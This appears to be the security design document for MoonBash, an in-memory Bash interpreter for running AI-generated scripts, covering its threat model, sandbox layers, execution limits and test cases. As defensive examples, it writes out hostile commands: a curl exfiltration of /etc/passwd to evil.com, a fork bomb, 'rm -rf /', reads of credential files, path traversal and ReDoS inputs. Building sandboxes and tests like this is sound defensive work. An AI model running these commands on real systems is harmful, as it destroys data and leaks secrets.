MoonBash is designed to safely execute untrusted Bash scripts generated by AI models (LLMs). The primary threats are:
Status note (as of 2026-02-19): default security path assumes pure in-memory VFS plus wrapper-level AgentFS integration. OverlayFs examples are legacy reference scenarios.
| Threat | Description | Severity |
|---|---|---|
| Filesystem Escape | Script accesses/modifies host filesystem | Critical |
| Network Exfiltration | Script sends data to unauthorized endpoints | Critical |
| Denial of Service | Script consumes excessive CPU/memory | High |
| ReDoS | Regex causes catastrophic backtracking | High |
| Prototype Pollution | JS object prototype manipulation | Medium |
| Code Injection | Script breaks out of interpreter sandbox | Critical |
| Resource Exhaustion | Infinite loops, unbounded recursion, fork bombs | High |
MoonBash employs a layered security architecture:
βββββββββββββββββββββββββββββββββββββββββββ
β Layer 4: Defense-in-Depth β
β (JS global monkey-patching) β
βββββββββββββββββββββββββββββββββββββββββββ€
β Layer 3: Execution Limits β
β (CPU/memory/recursion bounds) β
βββββββββββββββββββββββββββββββββββββββββββ€
β Layer 2: Parser Limits β
β (input size/token/depth bounds) β
βββββββββββββββββββββββββββββββββββββββββββ€
β Layer 1: Architecture β
β (VFS, no system calls, pure memory) β
βββββββββββββββββββββββββββββββββββββββββββ
The strongest security guarantee comes from the architecture itself.
MoonBash is a pure interpreter. It never:
- Spawns child processes (
child_process) - Makes system calls (
execve,fork) - Accesses raw memory (
mmap,shmget) - Opens real file descriptors
All "I/O" goes through the VFS abstraction, which is pure in-memory by default.
Script executes: rm -rf /
β
βΌ
InMemoryFs.rm("/", recursive=true)
β
βΌ
HashMap entries cleared (memory only)
β
βΌ
Host filesystem: UNAFFECTED
Network access is opt-in and requires explicit URL prefix allowlisting:
// Network completely disabled (default)
const bash = new Bash();
// Network enabled with strict allowlist
const bash = new Bash({
network: {
allowedUrlPrefixes: ["https://api.example.com/v1/"],
allowedMethods: ["GET"],
}
});Commands like bash and sh re-enter the MoonBash interpreter, not the system shell. There is no path to execute arbitrary binaries.
Prevents malicious input from overwhelming the parser.
| Limit | Default | Purpose |
|---|---|---|
MAX_INPUT_SIZE |
10 MB | Prevents memory exhaustion from huge scripts |
MAX_TOKENS |
100,000 | Prevents token explosion (e.g., deeply nested braces) |
MAX_PARSE_ITERATIONS |
100,000 | Prevents parser infinite loops |
MAX_PARSER_DEPTH |
100 | Prevents stack overflow from deep nesting |
fn parse(input : String) -> Script!ParseError {
// Size check
if input.length() > MAX_INPUT_SIZE {
raise ParseError::InputTooLarge(input.length())
}
let tokens = tokenize(input)
// Token count check
if tokens.length() > MAX_TOKENS {
raise ParseError::TooManyTokens(tokens.length())
}
// Recursive descent with depth tracking
let parser = Parser::new(tokens, max_depth=MAX_PARSER_DEPTH)
parser.parse_script()
}Prevents runaway execution from consuming unbounded resources.
| Limit | Default | Attack Prevented |
|---|---|---|
maxCallDepth |
100 | f() { f; }; f (infinite recursion) |
maxCommandCount |
10,000 | Extremely long scripts |
maxLoopIterations |
10,000 | while true; do :; done |
maxAwkIterations |
10,000 | AWK infinite loops |
maxSedIterations |
10,000 | SED branch loops |
maxJqIterations |
10,000 | JQ recursive descent |
maxStringLength |
10 MB | x=$x$x$x... (exponential growth) |
maxArrayElements |
100,000 | Array memory exhaustion |
maxHeredocSize |
10 MB | Huge heredoc content |
maxSubstitutionDepth |
50 | $($($($(...))))) nesting |
maxGlobOperations |
100,000 | /**/**/**/* filesystem storm |
fn execute_for_loop(clause : ForClause, ctx : ExecContext) -> ExecResult!ExecError {
let words = expand_words(clause.words, ctx)
let mut iterations = 0
for word in words {
iterations += 1
if iterations > ctx.limits.max_loop_iterations {
raise ExecError::LimitExceeded(
"Loop iteration limit exceeded (\{ctx.limits.max_loop_iterations})"
)
}
ctx.env.set(clause.var_name, word)
let result = execute_script(clause.body, ctx)
if ctx.break_count > 0 {
ctx.break_count -= 1
break
}
if ctx.continue_count > 0 {
ctx.continue_count -= 1
continue
}
}
ExecResult::ok("")
}Input: :(){ :|:& };:
(classic fork bomb)
MoonBash behavior:
1. Function ":" defined β
2. First call to ":" β command_count += 1
3. Pipe creates two more calls β command_count += 2
4. Background (&) is a no-op (no real processes)
5. Recursion hits maxCallDepth (100) β ERROR
6. Even if depth were unlimited, maxCommandCount (10000) stops it
Result: ERROR - "Execution limit exceeded"
Host: UNAFFECTED
Optional secondary protection that monkey-patches dangerous JavaScript globals during MoonBash execution.
Defense-in-depth is not the primary security mechanism. It exists as an additional barrier in case of interpreter bugs that might allow JavaScript injection. The primary security comes from the architecture (Layer 1).
| Global | Risk |
|---|---|
Function constructor |
Arbitrary code execution |
eval |
Arbitrary code execution |
setTimeout/setInterval |
Escape execution context |
AsyncFunction constructor |
Async code execution |
GeneratorFunction constructor |
Generator-based escape |
WeakRef/FinalizationRegistry |
GC-based side channels |
Reflect |
Meta-programming escape |
Proxy |
Object interception |
process.env |
Environment variable leak |
process.binding |
Native module access |
require/import |
Module loading escape |
WebAssembly |
WASM-based escape |
SharedArrayBuffer |
Shared memory side channel |
Atomics |
Thread synchronization |
// Enable (default when not specified)
const bash = new Bash({ defenseInDepth: true });
// Disable
const bash = new Bash({ defenseInDepth: false });
// Custom configuration
const bash = new Bash({
defenseInDepth: {
enabled: true,
auditMode: false, // true = log but don't block
onViolation: (v) => console.warn(`Security: ${v.type} - ${v.message}`),
excludeViolationTypes: ["webassembly"], // Allow specific types
}
});Defense-in-depth runs in the TypeScript wrapper layer (not in MoonBit) because it operates on JavaScript runtime globals.
Regular Expression Denial of Service (ReDoS) occurs when a crafted input causes exponential backtracking in regex engines:
Pattern: (a+)+$
Input: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaX"
Result: JavaScript RegExp hangs for minutes/hours
AI-generated commands like grep, sed, and awk frequently include regex patterns. If an LLM hallucinates a vulnerable pattern, it could freeze the entire sandbox.
MoonBash uses the @moonbitlang/regexp library, which implements a VM-based regex engine (similar to RE2). This engine:
- Guarantees linear time - O(n * m) where n = input length, m = pattern size
- No backtracking - Uses NFA simulation instead of recursive backtracking
- Bounded memory - State machine size is proportional to pattern complexity
// Safe by construction - no catastrophic backtracking possible
let pattern = @regexp.compile("(a+)+$")!
let result = pattern.matches("aaaaaaaaaaaaaaaaaaaaaaX")
// Returns false immediately, no hangFor features not supported by the VM-based engine (backreferences, lookahead), MoonBash falls back to JavaScript's native RegExp via FFI with a timeout wrapper:
extern "js" fn js_regex_match_with_timeout(
pattern : String,
input : String,
timeout_ms : Int
) -> String // JSON result or "TIMEOUT"Request: curl https://evil.com/steal?data=$(cat /etc/passwd)
Validation:
1. Expand command substitution β get file from VFS (not real /etc/passwd)
2. Check URL against allowedUrlPrefixes
3. "https://evil.com/" not in allowed list β BLOCKED
Result: "curl: (7) URL not allowed by network policy"
| Control | Default | Description |
|---|---|---|
| URL prefix allowlist | [] (none) |
Strict origin + path matching |
| HTTP method allowlist | ["GET", "HEAD"] |
Only safe methods |
| Max redirects | 20 | Prevent redirect loops |
| Timeout | 30,000 ms | Prevent hanging requests |
| Max response size | 10 MB | Prevent memory exhaustion |
| Redirect validation | Yes | Each redirect target checked against allowlist |
Input: cat ../../../../etc/shadow
β
βΌ
Path normalize: /etc/shadow
β
βΌ
InMemoryFs lookup: NOT FOUND
(VFS has no /etc/shadow)
Input (legacy OverlayFs mode): cat ../../../etc/shadow
β
βΌ
Resolve against mount point
/home/user/project/../../../etc/shadow
β
βΌ
Normalize: /etc/shadow
β
βΌ
Check: /etc/shadow starts with /real/project/root?
β
βΌ
NO β BLOCKED: "Permission denied"
Input: cat "file.txt\x00.jpg"
β
βΌ
Path validation: null byte detected
β
βΌ
ERROR: "Invalid path: contains null byte"
1. Generate random/malicious bash scripts
2. Execute in MoonBash
3. Verify:
- No uncaught exceptions
- Execution completes within limits
- No host filesystem access
- No network access (unless configured)
- Memory stays bounded
# Fork bomb
:(){ :|:& };:
# Zip bomb equivalent
yes | head -c 1000000000
# Path traversal
cat ../../../../etc/passwd
cat /proc/self/environ
# Command injection
echo "$(rm -rf /)"
echo `cat /etc/shadow`
# Regex DoS
grep -E '(a+)+$' <<< "aaaaaaaaaaaaaaaaaaaaaaaX"
# Resource exhaustion
seq 1 999999999
{1..999999999}
printf '%0999999999d' 1
# Prototype pollution (via env vars)
export __proto__='{"isAdmin":true}'
export constructor='{"prototype":{"isAdmin":true}}'
# Variable explosion
x=a; while true; do x=$x$x; doneAll of these must terminate safely with an appropriate error, and the host system must remain unaffected.